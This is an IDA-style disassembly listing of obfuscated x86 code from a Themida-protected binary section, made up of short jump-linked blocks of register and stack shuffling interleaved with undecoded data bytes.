loc_50E212:				; CODE XREF: Themida_:005075A1j
		add	ebp, 4
		jmp	loc_50B6BA
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FFE971E9h, 240C89FFh, 0FF489EE9h, 4C281FFh,	127DE0Bh
		dd 4EA81C2h, 8127DE0Bh,	8040DEEAh, 0BE56587Dh, 16A35439h
		dd 0DEF7DEF7h, 1E5FE681h, 0D6F70557h, 0EBE4F681h, 37E9FBFCh
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50E25F:				; CODE XREF: Themida_:0050EC7Bj
		shl	ecx, 2
		xor	ecx, 80F6981h
		xor	ebx, ecx
		pop	ecx
		add	ebx, 1B17B0DCh
		mov	eax, ebx
		pop	ebx
		xor	esi, eax
		pop	eax
		jmp	loc_516FD0
; ---------------------------------------------------------------------------
		dd 8159CB31h, 0B8310CF3h, 6E3C11Dh, 4B4668h, 240C8900h
		dd 42A9DCB9h, 8BCB01C2h, 0C481240Ch, 4,	4AD3874Bh, 0F793D387h
		dd 0EB8193D0h, 3A80A4Bh, 0FFD1C1E9h, 0FDC781FFh, 8B79AD51h
		dd 9CE92434h, 0BF000093h, 0A05BB1C8h, 8D25E9h
		db 0
; ---------------------------------------------------------------------------


loc_50E2CD:				; CODE XREF: Themida_:00506F20j
		mov	edi, 4
		sub	dword ptr [esp+4], 1F7D58BFh
		add	[esp+4], edi
		jmp	loc_517589
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 2434FF04h, 317CE9h, 34FF5C00h, 2434FF24h
		dd 4CDCE959h, 0C681FFFFh, 71D4510h, 95E9F001h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E30B:				; CODE XREF: Themida_:00506898j
		mov	ecx, esp
		push	edx
		push	ecx
		mov	ecx, 7CF5FC4h
		sub	ecx, 104F3D42h
		shl	ecx, 1
		dec	ecx
		xor	ecx, 74C65886h
		xor	ecx, 9BC61D81h
		mov	edx, ecx
		jmp	loc_5068FC
; ---------------------------------------------------------------------------
		dd 4C481h, 81560000h, 4ECh, 0EBFAE900h
		db 2 dup(0FFh)
word_50E342	dw 34FFh		; DATA XREF: Themida_:00502A04o
		dd 0F3685824h, 89000049h, 5EE9240Ch, 81000027h,	0CC20EEC7h
		dd 52E95115h, 2800001Fh, 8D5FE9F0h, 0C281FFFFh,	6B621B47h
		dd 0BB8EA81h, 48B6408h,	71AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E37A:				; CODE XREF: Themida_:0050E0EBj
		mov	esi, 3BA457CAh
		jmp	loc_5063E5
; ---------------------------------------------------------------------------


loc_50E384:				; CODE XREF: Themida_:005098EEj
		push	esp
		pop	edx
		push	ecx
		jmp	loc_5127DF
; ---------------------------------------------------------------------------
		dd 7AEA815Ch, 81679416h, 0E20CF3C2h, 50EA0167h,	262C04B8h
		dd 7DF5E90Eh, 1C8BFFFFh, 4C48124h, 30000000h, 9A3AE9C3h
		dd 0C8680000h, 0E9000030h, 0A23h, 2EF81h, 3C870000h, 89665C24h
		dd 58E9240Ch, 81000072h, 4C02B4C5h, 5B8E938h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E3DE:				; CODE XREF: Themida_:005109F8j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 0Bh
		jmp	loc_50B677
; ---------------------------------------------------------------------------


loc_50E3F5:				; CODE XREF: Themida_:0051560Ej
		pop	esp
		add	esp, 4
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
aZrsD		db ']ZRéÑd',0
		db 0
byte_50E409	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005029C4o
		dd 0D259669Dh, 0E99C2414h, 0FFFF46B3h
; ---------------------------------------------------------------------------


loc_50E418:				; CODE XREF: Themida_:00503117j
		add	ecx, eax
		jmp	loc_50BD38
; ---------------------------------------------------------------------------


loc_50E41F:				; CODE XREF: Themida_:0050B5E6j
		mov	ecx, ebp
		jmp	loc_50AD46
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 1312E908h, 0E95F0000h, 0FFFF511Bh, 8EB95156h, 517A722Fh
		dd 0FCED02B9h, 59CE8974h, 0D5E9CE29h, 0FFFFF65h, 5451C8BFh
		dd 83240C8Bh, 7E6804C4h, 89000049h, 0E589242Ch,	4C581h
		dd 0ED810000h, 4, 5C242C87h, 81242C89h,	4ECh, 0A2C2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E47E:				; CODE XREF: Themida_:00516067j
		mov	esp, [esp]
		push	1
		jmp	loc_5076CE
; ---------------------------------------------------------------------------
		db 0BBh
		dd 5FC2195Fh, 5308EBC1h, 0E9240CFFh, 0FFFFC081h
; ---------------------------------------------------------------------------


loc_50E49C:				; CODE XREF: Themida_:00508AC5j
		add	edx, 4
		jmp	loc_512909
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 3E29h, 8D18F381h, 0D9291715h, 71BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_50E4B9:				; CODE XREF: Themida_:005032E2j
		xor	eax, 11292DB7h
		mov	edx, eax
		pop	eax
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_510049
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9520000h, 328h
; ---------------------------------------------------------------------------


loc_50E4E4:				; CODE XREF: Themida_:00517084j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ebp
		push	47B6h
		mov	[esp], edx
		jmp	loc_509EB4
; ---------------------------------------------------------------------------


loc_50E4FD:				; CODE XREF: Themida_:005125E9j
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_516655
; ---------------------------------------------------------------------------


loc_50E50A:				; CODE XREF: Themida_:005162CBj
		push	ebp
		mov	ebp, 715F3ADCh
		sub	edi, ebp
		jmp	loc_515D7A
; ---------------------------------------------------------------------------


loc_50E517:				; CODE XREF: Themida_:0050756Aj
		pop	eax
		push	eax
		push	ebp
		mov	ebp, 7321248Fh
		sub	[esp+4], ebp
		pop	ebp
		pop	ecx
		push	ebx
		jmp	loc_514CC7
; ---------------------------------------------------------------------------


loc_50E52B:				; CODE XREF: Themida_:005168E3j
		add	edx, 73340498h
		push	dword ptr [esp]
		jmp	loc_506F00
; ---------------------------------------------------------------------------


loc_50E539:				; CODE XREF: Themida_:00514263j
		sub	ebp, 1F2C3F0Ah
		jmp	loc_50DF12
; ---------------------------------------------------------------------------
		dd 4BBh, 5BD90100h, 8704E983h, 61E9240Ch, 83FFFF4Bh, 0C28104C4h
		dd 0F86A0CDFh, 685AD001h, 5ECFh, 0BB241C89h, 499268E0h
		dd 70E9D831h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E577:				; CODE XREF: Themida_:0050D5D4j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_505566
; ---------------------------------------------------------------------------
		db 5Eh,	57h, 53h
		dd 4BBh, 5BDF8900h, 875FFA01h, 815C2414h, 401B242Ch, 2C817530h
		dd 0DD18F824h, 2404014Fh, 0F8240481h, 834FDD18h, 1C8904ECh
		dd 401BBB24h, 0BF577530h, 0FA4012h, 8246C81h, 278131Dh
		dd 8247C01h, 8244481h, 278131Dh, 0E9243C8Bh, 0FFFF4EFAh
		dd 0E2F1E950h, 2C8BFFFFh, 4C48124h, 33000000h, 0C31240Ch
		dd 240C3324h, 0E924248Bh, 0FFFF44CFh, 4EC815Eh,	89000000h
		dd 38BD242Ch, 293A7247h, 0FDEFE9E9h, 1489FFFFh,	2474FF24h
		dd 2434FF04h, 0E689565Ah, 4C681h, 0C6810000h, 4, 8B243487h
		dd 48F2424h, 24248B24h,	68241C89h, 903h, 0FF6638E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50E645:				; CODE XREF: Themida_:00510394j
		push	edx
		mov	edx, 60444AEh
		push	ebx
		mov	ebx, 5DF0C8BFh
		add	edx, ebx
		pop	ebx
		and	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, 538D73BCh
		dec	ebp
		neg	ebp
		and	ebp, 524E579Eh
		jmp	loc_515D20
; ---------------------------------------------------------------------------
		db 83h
		dd 17E904ECh
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E67B:				; CODE XREF: Themida_:00507FF0j
		pop	esp
		jmp	loc_503007
; ---------------------------------------------------------------------------
		db 29h,	0FAh, 0E9h
		dd 0FFFFED81h, 1B4830B9h, 89F1810Ch, 4961E636h,	8108E1C1h
		dd 814804C1h, 4C45E902h, 295FFFFFh, 8CADE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E6AA:				; CODE XREF: Themida_:0050CEBDj
		add	esi, 9FD59Bh
		add	ebx, esi
		pop	esi
		jmp	loc_50A213
; ---------------------------------------------------------------------------


loc_50E6B8:				; CODE XREF: Themida_:005075EFj
		push	edx
		jmp	loc_5109CA
; ---------------------------------------------------------------------------
		dw 5740h
		dd 0FFAC64E9h, 0C1815FFFh, 4, 9485E9h, 50EF8100h, 8112225Fh
		dd 0E715A0CFh, 0AE91E908h, 0BBB8FFFFh, 0E9202652h, 0FFFFA533h
		dd 2414895Ch, 0EE80EE88h, 86D0E901h, 0B866FFFFh, 0C4E97627h
		dd 8BFFFFAEh, 0C4832414h, 53FDE904h, 0EC81FFFFh, 4, 0E9241489h
		dd 0FFFF7367h
; ---------------------------------------------------------------------------


loc_50E71C:				; CODE XREF: Themida_:0050D50Fj
		mov	esp, [esp]
		idiv	cx
		push	48CEh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 34866351h
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 23F42D02h
		push	ebp
		mov	ebp, eax
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		and	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_505339
; ---------------------------------------------------------------------------
		dd 81242C89h, 16822434h, 1C8B48D9h, 1321E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E76A:				; CODE XREF: Themida_:00503492j
		xor	cl, 61h
		add	cl, 58h
		shr	cl, 3
		shl	cl, 6
		add	cl, 34h
		jmp	loc_508FC3
; ---------------------------------------------------------------------------
		dw 8468h
		dd 8900007Eh, 64E92404h, 50000027h, 4EA1BF57h, 0F7813262h
		dd 470C5027h, 0E7B6EF81h, 0F8890B5Eh, 4CF6355Fh, 0C22964B2h
		dd 0FFF37BE9h, 3EE941FFh
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_50E7B3:				; CODE XREF: Themida_:00504EBAj
		or	edx, eax
		jmp	loc_510AF9
; ---------------------------------------------------------------------------
		dw 0F205h
		dd 8B734B5Ch, 0E9E9240Ch, 81FFFF85h, 0ED1183E9h, 5DBAE979h
		dd 83BB0000h, 3175B350h, 0BB535BDFh, 30670D84h,	0F702EBC1h
		dd 0E9DBF7D3h, 171Ch
; ---------------------------------------------------------------------------


loc_50E7EC:				; CODE XREF: Themida_:00508538j
		neg	ecx
		xor	ecx, 0C198F434h
		add	ecx, 77101575h
		xchg	ebp, ecx
		not	ebp
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		inc	ecx
		inc	ecx
		push	edi
		jmp	loc_5034C8
; ---------------------------------------------------------------------------
		dd 0D2F6BDB2h, 0E9B2C280h, 4219h, 815A5452h, 4C2h, 4EA8300h
		dd 5C241487h, 55240489h, 8D233CBDh, 5DE88929h, 3504E0C1h
		dd 80D4386Ah, 31A468h, 24148900h, 0FFEBCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50E849:				; CODE XREF: Themida_:0050680Dj
		push	offset dword_43A4C0
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, ebx
		jmp	loc_5101B3
; ---------------------------------------------------------------------------


loc_50E85E:				; CODE XREF: Themida_:0051403Bj
		add	esp, 4
		add	ebp, 4
		jmp	loc_5079D1
; ---------------------------------------------------------------------------
		dd 0E9F8B450h, 0FFFF9063h
dword_50E874	dd 24048B66h, 34FF5453h, 0C4815B24h, 4,	52555155h, 0BD0BD9BAh
					; DATA XREF: Themida_:005028E4o
		dd 60F28173h, 8951A905h, 0C8B5E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E89A:				; CODE XREF: Themida_:0050E908j
		push	ebx
		push	esi
		push	6D7C48B2h
		pop	esi
		inc	esi
		push	esi
		not	dword ptr [esp]
		jmp	loc_50B5AC
; ---------------------------------------------------------------------------
dword_50E8AC	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF420Fh, 0BE56D9F7h
					; DATA XREF: Themida_:005028E8o
		dd 2B5652F6h, 0E903E6C1h, 0FFFFB088h, 0D380F181h, 3FE99B69h
		dd 8100002Ah, 4E9h, 240C8700h, 240C895Ch, 8B1AD9B9h, 3E1C106h
		dd 355DBE56h, 0EE8131E4h, 663D0C21h, 15EF101h, 0CFE959CBh
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E903:				; CODE XREF: Themida_:005163B4j
		neg	ebp
		shr	ebp, 2
		jmp	loc_50E89A
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 31h
		dd 0E99C2404h, 0FFFF41B3h, 26FAC781h, 0E7C1717Bh, 59D4E908h
		dd 0E6800000h, 6EEC088h, 0FFAA40E9h, 240CD3FFh,	4191E99Ch
		dd 8851FFFFh, 5330E9D9h, 0F1810000h, 14CA50ACh,	51DE181h
		dd 7AE92BC0h, 29FFFFB9h, 24048BC2h, 4C481h, 0BB530000h
		dd 6794167Ah, 3C2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_50E969:				; CODE XREF: Themida_:00512DA0j
		mov	ecx, [esp]
		add	esp, 4
		dec	bh
		sub	bh, 21h
		add	al, 0F3h
		sub	al, bh
		sub	al, 0F3h
		mov	ebx, [esp]
		push	ebx
		jmp	loc_514221
; ---------------------------------------------------------------------------


loc_50E986:				; CODE XREF: Themida_:0050DEDFj
		mov	edx, ebx
		pop	ebx
		jmp	loc_50EF60
; ---------------------------------------------------------------------------
		dw 3487h
		dd 0E6D6E924h, 0C581FFFFh, 0C8030950h, 295DEF89h, 242C8BEFh
		dd 4C481h, 0FB010000h, 5F2434FFh, 5604C483h, 0FFA8E6E9h
		dd 0A4ED81FFh, 0E980D4F8h, 92E4h, 0D3F7DF87h, 0FFBCE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50E9CD:				; CODE XREF: Themida_:0051609Fj
		sub	ebp, 29747FEEh
		sub	ebp, 183776BEh
		sub	edx, ebp
		pop	ebp
		add	edx, edi
		add	edx, 27A75937h
		push	dword ptr [edx]
		sub	dword ptr [esp], 15FF3059h
		pop	ecx
		add	ecx, 15FF3059h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_50688D
; ---------------------------------------------------------------------------


loc_50E9FD:				; CODE XREF: Themida_:0050A53Ej
		pop	eax
		add	ebp, 4
		push	432Dh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		push	1F80h
		mov	[esp], ebx
		push	4B3Fh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 88D6A8Eh
		mov	edi, 141F6885h
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_50C9CE
; ---------------------------------------------------------------------------


loc_50EA45:				; CODE XREF: Themida_:0050C9E1j
		push	edi
		push	edx
		pop	edi
		pop	edx
		push	ecx
		push	2F485962h
		pop	ecx
		sub	ecx, 539A6C65h
		add	edi, ecx
		pop	ecx
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5177F0
; ---------------------------------------------------------------------------


loc_50EA6D:				; CODE XREF: Themida_:00504A91j
		add	esi, edx
		jmp	loc_511F5C
; ---------------------------------------------------------------------------
		dd 0E699E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50EA7A:				; CODE XREF: Themida_:00516DFAj
		add	esp, 4
		push	dx
		mov	dl, 0Ch
		xor	cl, dl
		pop	dx
		jmp	loc_50B112
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0E9000000h, 0FFFF5D99h, 4C481h, 14330000h, 24143124h
		dd 8B241433h, 0A4E92424h, 57000025h, 74CE9h, 4896600h
		dd 4011E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50EABA:				; CODE XREF: Themida_:0050A870j
		pop	eax
		shl	eax, 6
		inc	eax
		jmp	loc_514C4A
; ---------------------------------------------------------------------------
		dd 0EAC0C8B2h, 0CFE28007h, 80DDB450h, 0F4805CE4h, 80D4F600h
		dd 0ECC035ECh, 88BCE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50EAE2:				; CODE XREF: Themida_:0050582Cj
		sub	edx, 4F120363h
		add	edx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 44366383h
		xor	eax, 0B2460E0h
		add	edx, eax
		jmp	loc_50BF70
; ---------------------------------------------------------------------------


loc_50EB01:				; CODE XREF: Themida_:0050FBF5j
		pop	esi
		push	53BBh
		mov	[esp], ebx
		mov	ebx, 1
		add	ecx, ebx
		pop	ebx
		add	ecx, 704F7345h
		xchg	ebp, ecx
		inc	ebp
		xchg	ebp, ecx
		xor	ecx, 0A81FA802h
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_513D84
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 6D9C0DF8h
		jmp	loc_506659
; ---------------------------------------------------------------------------


loc_50EB45:				; CODE XREF: Themida_:0050EE7Cj
		push	edi
		pop	esi
		pop	edi
		not	esi
		push	795Fh
		mov	[esp], ecx
		mov	ecx, 3626052Ch
		add	ecx, 0FFFFFFFFh
		push	ebp
		jmp	loc_503278
; ---------------------------------------------------------------------------
		dd 33243431h, 665C2434h, 0B6241489h, 6EF809Ch, 0C780F728h
		dd 148B6606h, 5A545224h, 4C281h, 0E9530000h, 0FFFFDCB1h
; ---------------------------------------------------------------------------


loc_50EB88:				; CODE XREF: Themida_:0050B7C6j
		pop	edx
		add	esi, ebx
		pop	ebx
		add	esi, edx
		push	edi
		mov	edi, 20EA40B9h
		sub	esi, edi
		jmp	loc_508C9C
; ---------------------------------------------------------------------------


loc_50EB9B:				; CODE XREF: Themida_:0050DD22j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_50F184
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0F1F7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50EBAE:				; CODE XREF: Themida_:0050D4DBj
		push	esi
		mov	esi, 6BE36C14h
		jmp	loc_50CEB2
; ---------------------------------------------------------------------------
		db 43h,	56h, 0BEh
		dd 0F55504D3h, 895EF301h, 5ADEE9DDh, 0E788FFFFh, 0FFFD0858h
		dd 1C8B2434h, 0FA02E924h, 0E888FFFFh, 8B58C788h, 8951240Ch
		dd 584FE9E1h, 0D8010000h, 6C5BE9h, 9CE98100h, 8134AE45h
		dd 964060EAh, 81CA0150h, 964060C2h, 0CBDE950h, 0D1890000h
		dd 0FFC1815Ah, 81FFFFFFh, 0E1188BE9h, 687Ch, 0C290000h
		dd 0E1C15924h, 0FFE98107h, 81FFFFFFh, 0FFB9E7E9h, 0ABEE816Eh
		dd 0E906F15Fh, 43B8h
; ---------------------------------------------------------------------------


loc_50EC3C:				; CODE XREF: Themida_:0050F18Fj
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4E950FBEh
		shr	esi, 6
		not	esi
		sub	esi, 6A0E54F7h
		jmp	loc_503082
; ---------------------------------------------------------------------------
		dd 5585450h, 4,	0E904E883h, 0FFFFEE32h
; ---------------------------------------------------------------------------


loc_50EC6C:				; CODE XREF: Themida_:00512099j
		push	ecx
		mov	ecx, 43DE4385h
		push	ebp
		mov	ebp, 64EA4D3Ch
		and	ecx, ebp
		pop	ebp
		jmp	loc_50E25F
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 4BA5224h,	1000000h, 5A042454h, 5024048Fh
		dd 0FF5958E9h, 0E9D7F7FFh, 0FFFF9A24h, 0E95DEA01h, 5E78h
		dd 34ECE581h, 0F5816FC6h, 429F0EB3h, 495DE989h,	68D1F749h
		dd 3CA1h, 0BF243C89h, 0B5E0C1AAh, 1AE9F931h, 5900007Fh
		dd 333668h, 242C8900h, 45A8E9h,	1EF8300h, 7555E951h
		db 2 dup(0FFh)
word_50ECEA	dw 34FFh		; DATA XREF: Themida_:00502884o
		dd 2434FF24h, 4EC8158h,	0E9000000h, 8661h, 34FFDA01h, 0C4835B24h
		dd 0F8EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50ED0A:				; CODE XREF: Themida_:0050596Dj
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_50B177
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 6
		dd 39CABA52h, 0E9425686h, 1483h, 0C34FEA81h, 0C9E96A15h
		dd 8100005Fh, 0D26784F6h, 8BF5317Fh, 0C4812434h, 4, 4246C29h
		dd 83242C8Bh, 685804C4h, 5269h,	0B9240C89h, 54DB13CAh
		dd 0C8BC801h, 100D6824h, 1C890000h, 81E38924h, 4C3h, 4C38300h
		dd 0FF82BDE9h, 24248BFFh, 240C8B66h, 4EC81h, 97E90000h
		dd 0FF000005h, 835A2434h, 0C46804C4h, 89000012h, 6857242Ch
		dd 3705h, 0E9243489h, 0FFFF7DCBh, 4C681h, 0EE830000h, 24348704h
		dd 5F7EE95Ch, 0C4810000h, 4, 592434FFh,	3DC268h, 243C8900h
		dd 0FF4C11E9h, 243C87FFh, 6A9CE9h, 0FFF80100h, 0F5E92434h
		dd 54000037h, 5624048Fh, 4BEh, 24740100h, 2434FF04h, 50F1E95Eh
		dd 4D35FFFFh, 29402820h, 875258C2h, 0E9932404h,	0FFFFE2FCh
		dd 656AB951h, 0F7494119h, 0FAB2E9D1h, 505EFFFFh, 1799BF57h
		dd 0BD552BDBh, 26E9647Bh, 0E95DEF21h, 0FFFFD22Fh, 0FF3C96E9h
		dd 241489FFh, 4BAh, 5AD60100h, 8704C683h, 0DBE92434h, 50FFFF83h
		dd 405E089h, 0E9000000h, 4Ah, 4E1A2D66h, 66F02966h, 664E1A05h
		dd 8124348Bh, 2C4h, 0C3316600h,	0FF522BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50EE75:				; CODE XREF: Themida_:0050C85Dj
		inc	edi
		sub	edi, 0FA0C03C0h
		jmp	loc_50EB45
; ---------------------------------------------------------------------------


loc_50EE81:				; CODE XREF: Themida_:005077ACj
		pop	ebp
		push	ecx
		push	ebp
		jmp	loc_511972
; ---------------------------------------------------------------------------


loc_50EE89:				; CODE XREF: Themida_:00504683j
		push	ebx
		mov	ebx, 16195C18h
		jmp	loc_50DD3D
; ---------------------------------------------------------------------------


loc_50EE94:				; CODE XREF: Themida_:0050DBF8j
		dec	edi
		push	ebp
		mov	ebp, 125B0D92h
		add	edi, ebp
		jmp	loc_50A8C5
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 515C2404h, 0B2E18B9h, 0D1F74936h,	31E7E181h
		dd 0E1C15EDEh, 2E1C106h, 4EC8153h, 89000000h, 0BE56243Ch
		dd 7BA43B1Ah, 911A51BFh, 5EF701D3h, 69E9FB89h
		db 0Ch,	2 dup(0)
byte_50EEDF	db 68h			; DATA XREF: Themida_:0050284Co
		dd 743Ch, 51241489h, 3691E957h,	30590000h, 4977E9E1h, 0C483FFFFh
		dd 8A31E904h, 4330000h,	24043124h, 0E9240433h, 0FFFF5096h
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0E9241C89h, 35CDh
; ---------------------------------------------------------------------------


loc_50EF24:				; CODE XREF: Themida_:0050DFC2j
		sub	al, dh
		pop	edx
		jmp	loc_5144A7
; ---------------------------------------------------------------------------
		dd 4C481h, 72E90000h, 8B000046h, 41E9240Ch
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50EF3F:				; CODE XREF: Themida_:00502B11j
		jz	loc_505C65
		push	3FC4h
		jmp	loc_50BADD
; ---------------------------------------------------------------------------
		db 5Ch
		dd 6824148Bh, 67A6h, 0E9243489h, 0FFFF3D81h
; ---------------------------------------------------------------------------


loc_50EF60:				; CODE XREF: Themida_:0050E989j
		add	edx, ecx
		pop	ecx
		jmp	loc_51065D
; ---------------------------------------------------------------------------


loc_50EF68:				; CODE XREF: Themida_:00506C6Ej
		pop	edx
		add	esp, 4
		add	esp, 4
		push	55E8h
		mov	[esp], edi
		push	5ECAh
		mov	[esp], ecx
		mov	ecx, 519A129Bh
		push	ecx
		pop	edi
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_506E74
; ---------------------------------------------------------------------------
		dw 6866h
		dd 0EBE91638h, 8900004Bh, 0E389241Ch, 2818B951h, 0E9415CD7h
		dd 850Dh, 0BE56D1F7h, 13AE4485h, 43C2E946h, 6668FFFFh
		dd 0E9000062h, 0FFFFDFB0h
; ---------------------------------------------------------------------------


loc_50EFDC:				; CODE XREF: Themida_:005179F1j
		mov	esp, [esp]
		mov	[edi+eax*4], cl
		jmp	loc_514786
; ---------------------------------------------------------------------------


loc_50EFE7:				; CODE XREF: Themida_:0050F444j
		add	edx, 55B87B5Ah
		sub	edx, 77003936h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5126E1
; ---------------------------------------------------------------------------


loc_50F001:				; CODE XREF: Themida_:00505F3Fj
		pop	eax
		sub	ebx, 49D00102h
		shr	ebx, 8
		push	edi
		mov	edi, 77335C92h
		add	ebx, 6CAD461Dh
		add	ebx, edi
		sub	ebx, 6CAD461Dh
		mov	edi, [esp]
		jmp	loc_50DD27
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD576AF6h, 5EF13190h, 0C107E9C1h, 0B85006E9h, 1DFC119Ah
		dd 2759D20Dh, 0A47CE922h, 0CBFEFFFFh, 0E902EBC0h, 0CF9h
; ---------------------------------------------------------------------------


loc_50F050:				; CODE XREF: Themida_:0050D0CDj
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	6E33h
		mov	[esp], esp
		jmp	loc_50C1B0
; ---------------------------------------------------------------------------


loc_50F06C:				; CODE XREF: Themida_:00509AA1j
		sub	ebp, 21B71E3Ch
		sub	ebp, 618535D4h
		push	edx
		mov	edx, 0D1B39516h
		sub	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		and	ebx, eax
		pop	eax
		push	eax
		jmp	loc_5173BE
; ---------------------------------------------------------------------------
byte_50F08D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0050285Co
		dd 582434FFh, 925BE955h, 0B2BFFFFFh, 57180B6Dh,	0F9242C81h
		dd 8B70F97Ch, 0C481241Ch, 4, 7CF9C381h,	815F70F9h, 6F042444h
		dd 814D1639h, 9A04246Ch, 1765404h, 8104245Ch, 9A042444h
		dd 81765404h, 6F04246Ch, 8B4D1639h, 0C483241Ch,	0EF815F04h
		dd 180B6DB2h, 0FFC288E9h, 0E9EB01FFh, 0FFFFE1CFh
dword_50F0F4	dd 5524148Bh, 10E9E9h, 0C8015E00h, 0E9F80159h, 0FFFF57F6h
					; DATA XREF: Themida_:00502844o
		dd 4DCBE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F10E:				; CODE XREF: Themida_:00510D9Fj
		pop	esi
		push	65E8h
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_50986F
; ---------------------------------------------------------------------------
		db 89h
		dd 6418E9D3h, 0C1890000h, 0B6E98158h, 0E914D61Fh, 0FFFF606Bh
		dd 0D6BA5256h, 89663749h, 0F0295AD6h, 0FFE069E9h, 30D30DFFh
		dd 4BE91ADEh, 8BFFFF98h, 0F8E92404h, 87FFFFF3h,	535C2414h
		dd 0FF3ED4E9h, 5BDE01FFh, 7E2668h, 0EF7AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F176:				; CODE XREF: Themida_:005079D4j
		mov	esp, [esp]
		xchg	edx, [esp]
		mov	eax, [esp]
		jmp	loc_5060EB
; ---------------------------------------------------------------------------


loc_50F184:				; CODE XREF: Themida_:0050EBA1j
					; Themida_:00512E6Fj ...
		push	ebx
		xor	dword ptr [esp], 5C4D1BC2h
		push	dword ptr [esp]
		jmp	loc_50EC3C
; ---------------------------------------------------------------------------


loc_50F194:				; CODE XREF: Themida_:00515B5Aj
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 71750CB6h
		inc	ebp
		dec	ebp
		xor	ebp, 2298680Bh
		jmp	loc_50FF9C
; ---------------------------------------------------------------------------
		dd 63181105h, 2BA22D49h, 0C8011534h, 15B8BD55h,	0C5810D28h
		dd 80C15EAh, 575DE801h,	23570ABFh, 21BFE93Fh, 0C3810000h
		dd 63FF23B7h, 315BDA89h, 0DBF75AD3h, 0FFC997E9h, 55E689FFh
		dd 412CB5BDh, 5832E970h, 88530000h, 5BD888EBh, 3C98E9h
